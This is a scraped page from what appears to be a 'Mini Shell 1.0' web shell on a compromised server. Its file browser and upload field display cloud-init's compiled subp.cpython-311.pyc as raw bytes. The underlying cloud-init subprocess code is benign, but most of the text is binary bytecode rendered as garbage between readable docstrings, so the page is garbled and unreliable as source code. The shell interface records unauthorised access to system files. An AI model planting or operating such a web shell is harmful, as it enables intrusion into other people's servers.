HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/cloudinit/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/cloudinit/__pycache__/subp.cpython-311.pyc
�

܍~c�4����dZddlZddlZddlZddlZddlmZeje��Z	ej
dddg��Zd�ZGd�d	e
��Z												dd
�Zdd�Zdd�Zd�Zdd�ZdS)z9Common utility functions for interacting with subprocess.�N)�ENOEXEC�
SubpResult�stdout�stderrc�~�g}g}g}|D]�}t|t��r6|d�|dd�}n�|d|kr|�d|��nft|t��r.|�d|z��s|�|��n#|�t|������|�|����|r0t�d||d�|����|r7td�
|d�|��������|S)	a�Ensure user-provided commands start with base_command; warn otherwise.

    Each command is either a list or string. Perform the following:
       - If the command is a list, pop the first element if it is None
       - If the command is a list, insert base_command as the first element if
         not present.
       - When the command is a string not starting with 'base-command', warn.

    Allow flexibility to provide non-base-command environment/config setup if
    needed.

    @commands: List of commands. Each command element is a list or string.

    @return: List of 'fixed up' commands.
    @raise: TypeError on invalid config item type.
    rN�z%s z Non-%s commands in %s config:
%s�
zHInvalid {name} config. These commands are not a string or list:
{errors})�name�errors)�
isinstance�list�insert�str�
startswith�append�LOG�warning�join�	TypeError�format)�base_command�commands�warningsr�fixed_commands�commands      �0/usr/lib/python3/dist-packages/cloudinit/subp.py�prepend_base_commandrsl��"�H�
�F��N��'�'���g�t�$�$�
	��q�z�!�!�!�"�"�+������|�+�+����q�,�/�/�/��
���
%�
%�	��%�%�e�l�&:�;�;�
)�����(�(�(���M�M�#�g�,�,�'�'�'�����g�&�&�&�&��
����/����I�I�h���		
�	
�	
��
��
B�BH�&�!�$�)�)�F�*;�*;�CI�C�C�
�
�	
���c�:�eZdZdZdZ							dd�Zd�Zd	d�ZdS)
�ProcessExecutionErrorzr%(description)s
Command: %(cmd)s
Exit code: %(exit_code)s
Reason: %(reason)s
Stdout: %(stdout)s
Stderr: %(stderr)s�-Nc	�N�|s
|j|_n||_|s|s|tkrd|_nd|_n||_t	|t
��s
|j|_n||_|s|�
|j|_n"||_n|�|��|_|s|�
|j|_	n"||_	n|�|��|_	|r||_
n|j|_
||_|j|�
|j��|�
|j��|�
|j��|�
|j	��|�
|j��|�
|j
��d�z}t�||��dS)Nz(Exec format error. Missing #! in script?z'Unexpected error while running command.)�description�cmd�	exit_coderr�reason)�
empty_attrr$rr#r�intr%r�_indent_textrr&�errno�MESSAGE_TMPL�_ensure_string�IOError�__init__)	�selfrrr%r$r#r&r*�messages	         rr.zProcessExecutionError.__init__Ns����	���D�H�H��D�H��	+��
M��'�!1�!1�#M�� � �#L�� � �*�D���)�S�)�)�	'�!�_�D�N�N�&�D�N��	4��~�"�o����$�����+�+�F�3�3�D�K��	4��~�"�o����$�����+�+�F�3�3�D�K��	*� �D�K�K��/�D�K���
��#��.�.�t�/?�@�@��&�&�t�x�0�0��,�,�T�^�<�<��)�)�$�+�6�6��)�)�$�+�6�6��)�)�$�+�6�6�
'
�'
�
��	����w�'�'�'�'�'rc�X�t|t��r|���n|S)z1
        if data is bytes object, decode
        �r�bytes�decode)r/�texts  rr,z$ProcessExecutionError._ensure_string�s%��!+�4�� 7� 7�A�t�{�{�}�}�}�T�Ar�c���d}d|z}t|t��r(|���}|���}|�|���|||z��S)zY
        indent text on all but the first line, allowing for easy to read output
        r	� )rr3�encode�rstrip�replace)r/r5�indent_level�cr�indents     rr)z"ProcessExecutionError._indent_text�se�����|�#���d�E�"�"�	%������B��]�]�_�_�F��{�{�2���&�&�r�2��;�7�7�7r)NNNNNNN)r6)�__name__�
__module__�__qualname__r+r'r.r,r)�rrr r Bsw������	���J��������:(�:(�:(�:(�xB�B�B�8�8�8�8�8�8rr TFr;c
	�N��|	�td���|�dg}d}
|
r7|�tj}|���}|�|
��t|	��dkrd|	gt
|��z}|rKt|t��rd�|��n|}|d�	|�����|s#t�d	||||rd
n|��nt�d|��d}d}d}|rtj
}tj
}|rtj
}tj}|�ttj��}
|
}n5tj
}t|t"��s|���}t|t"��r|}n7t|t&��r|�d��}nd
�|D��}	tj|||||||���}|�|��\}}nA#t,$r4}|r|d��t/|||j�rdnd�rdnd���|�d}~wwxYw	|
r|
���n#|
r|
���wwxYw|s|r|sd}|sd}�rd�fd�	}||��}||��}|j}||vr4|r|d�	|�����t/||||����|r|d�	|�����t7||��S)a�Run a subprocess.

    :param args: command to run in a list. [cmd, arg1, arg2...]
    :param data: input to the command, made available on its stdin.
    :param rcs:
        a list of allowed return codes.  If subprocess exits with a value not
        in this list, a ProcessExecutionError will be raised.  By default,
        data is returned as a string.  See 'decode' parameter.
    :param env: a dictionary for the command's environment.
    :param capture:
        boolean indicating if output should be captured.  If True, then stderr
        and stdout will be returned.  If False, they will not be redirected.
    :param combine_capture:
        boolean indicating if stderr should be redirected to stdout. When True,
        interleaved stderr and stdout will be returned as the first element of
        a tuple, the second will be empty string or bytes (per decode).
        if combine_capture is True, then output is captured independent of
        the value of capture.
    :param shell: boolean indicating if this should be run with a shell.
    :param logstring:
        the command will be logged to DEBUG.  If it contains info that should
        not be logged, then logstring will be logged instead.
    :param decode:
        if False, no decoding will be done and returned stdout and stderr will
        be bytes.  Other allowed values are 'strict', 'ignore', and 'replace'.
        These values are passed through to bytes().decode() as the 'errors'
        parameter.  There is no support for decoding to other than utf-8.
    :param target:
        not supported, kwarg present only to make function signature similar
        to curtin's subp.
    :param update_env:
        update the enviornment for this command with this dictionary.
        this will not affect the current processes os.environ.
    :param status_cb:
        call this fuction with a single string argument before starting
        and after finishing.
    :param cwd:
        change the working directory to cwd before executing the command.

    :return
        if not capturing, return is (None, None)
        if capturing, stdout and stderr are returned.
            if decode:
                entries in tuple will be string
            if not decode:
                entries in tuple will be bytes
    Nz&target arg not supported by cloud-initr�/�chrootr8zBegin run command: {command}
)rzFRunning command %s with allowed return codes %s (shell=%s, capture=%s)�combinezFRunning hidden command to protect sensitive input/output logstring: %s�utf-8c�f�g|].}t|t��r|n|�d����/S�rG)rr3r9)�.0�xs  r�
<listcomp>zsubp.<locals>.<listcomp>sD��
�
�
�AB��A�u�%�%�<�A�A�1�8�8�G�+<�+<�
�
�
r)rr�stdin�env�shell�cwdz1ERROR: End run command: invalid command provided
r!�-)r$r&r*rrrc�^��t|t��s|S|�|���S�Nr2)�data�mr4s  �r�ldecodezsubp.<locals>.ldecodeCs.����d�E�*�*�
����;�;�q�&�)�)�)rz%ERROR: End run command: exit({code})
)�code)rrr%r$zEnd run command: exit({code})
rI)�
ValueError�os�environ�copy�update�target_pathr
rrrr�debug�
subprocess�PIPE�STDOUT�open�devnullr3r9r�Popen�communicate�OSErrorr r*�close�
returncoder)�argsrT�rcsrN�capture�combine_capturerO�	logstringr4�target�
update_env�	status_cbrP�
devnull_fprrMrr�
bytes_args�sp�out�err�erV�rcs        `                r�subprx�s!���B���A�B�B�B�
�{��c���J����;��*�C��h�h�j�j���
�
�:�����6���c�!�!��&�!�D��J�J�.���L�$.�t�T�$:�$:�D�#�(�(�4�.�.�.����	�2�9�9�'�9�J�J�K�K�K��
��	�	�
&����(�5�I�I�g�
	
�	
�	
�	
�	�	�	�
)��	
�	
�	
�
�E�
�F�
�F��!��������#�����"���|��"�*�%�%�
��������$��&�&�	!��;�;�=�=�D�
�$����
��
�
�	�D�#�	�	�
��[�[��)�)�
�
�
�
�FJ�
�
�
�
��
�
��������
�
�
���^�^�D�)�)�
��c�c���	�	�	��	L��I�J�K�K�K�#����'� �*�3�3�d� �*�3�3�d�
�
�
��
	�����	������	����������	��������	������/���	��C��	��C�
��	*�	*�	*�	*�	*�	*�
�g�c�l�l���g�c�l�l��	��B�	��}�}��	P��I�>�E�E�2�E�N�N�O�O�O�#��s�b�d�
�
�
�	
��E��	�3�:�:��:�C�C�D�D�D��c�3���s*�$3H�I1�
I�"/I�I�I1�1J
c��|dvrd}net|t��std|z���tj�|��}|�d��r
|dd�}|s|St|��r1|ddkr%|dd�}t|��r|ddk�%tj�||��S)N)N�rDzUnexpected input for target: %sz//rr)	rrrXrY�path�abspathr�lenr)rnr{s  rr]r]Ws���
�������
���
$�
$� ��:�V�C�D�D�D������(�(�����T�"�"�	 ��A�B�B�Z�F����
��d�)�)���Q��3����A�B�B�x���d�)�)���Q��3����7�<�<���%�%�%rc���t|��}tjj|vrt	t||����r|S|�\d�tj�dd���tj��D��}|dkr|}nd�|D��}d�|D��}|D]I}tjj�	||f��}t	t||����r|cS�JdS)Nc�8�g|]}|�d����S)�")�strip�rJ�ps  rrLzwhich.<locals>.<listcomp>xs/��
�
�
��A�G�G�C�L�L�
�
�
r�PATHrzrDc�<�g|]}|�d���|��S)rD)rr�s  rrLzwhich.<locals>.<listcomp>~s)��<�<�<�A�!�,�,�s�*;�*;�<�a�<�<�<rc�L�g|]!}tj�|����"SrB)rYr{r|r�s  rrLzwhich.<locals>.<listcomp>�s&��
1�
1�
1�Q�b�g�o�o�a� � �
1�
1�
1r)
r]rYr{�sep�is_exerZ�get�split�pathsepr)�program�searchrn�pathsr{�ppaths      r�whichr�ms��
��
 �
 �F�	�w�{�g����+�f�g�.�.�/�/�	��N�
�~�
�
�"$�*�.�.���"<�"<�"B�"B�2�:�"N�"N�
�
�
���S�=�=��F�F�<�<��<�<�<�F�2�
1�&�
1�
1�
1�F�������� � �$���1�1���+�f�e�,�,�-�-�	��L�L�L�	��4rc�~�tj�|��otj|tj��SrS)rYr{�isfile�access�X_OK)�fpaths rr�r��s)��
�7�>�>�%� � �>�R�Y�u�b�g�%>�%>�>rc
��|r!tj�|��sdSg}g}|�g}nMt|t��rt	|��g}n't|t
��r|}nt
d���ttj|����D]�}tj�	||��}t|��rr|�|��	t||gzd����]#t$r9}t�|��|�|��Yd}~��d}~wwxYw��|rH|rHt!dt#|���dd�	|���dt#|���d����dSdS)	Nz%exe_prefix must be None, str, or listF)rkz
Runparts: z failures (�,z) in z attempted commands)rYr{�isdirrrr
r�sorted�listdirrr�rrxr rr^�RuntimeErrorr})	�dirp�
skip_no_exist�
exe_prefix�failed�	attempted�prefix�exe_name�exe_pathrvs	         r�runpartsr��s�����R�W�]�]�4�0�0����
�F��I������	�J��	$�	$�A��j�/�/�"���	�J��	%�	%�A�����?�@�@�@��2�:�d�+�+�,�,�(�(���7�<�<��h�/�/���(���	(����X�&�&�&�
(��V�x�j�(�%�8�8�8�8�8��(�
(�
(�
(��	�	�!�����
�
�h�'�'�'�'�'�'�'�'�����
(����		(��
�)�
��l��6�{�{�{�{�C�H�H�V�,�,�,�,�c�)�n�n�n�n�
>�
�
�	
�
�
�
�
s�"C8�8
D;�/D6�6D;)NNNTFFFr;NNNNrS)NN)TN)�__doc__�collections�loggingrYr_r*r�	getLoggerr?r�
namedtuplerrr-r rxr]r�r�r�rBrr�<module>r�sI��?�?���������	�	�	�	������������g���!�!��
#�[�
#�L�8�X�2F�
G�
G�
�0�0�0�fZ8�Z8�Z8�Z8�Z8�G�Z8�Z8�Z8�~
�����
�������u �u �u �u �p&�&�&�&�,����<?�?�?�

�
�
�
�
�
r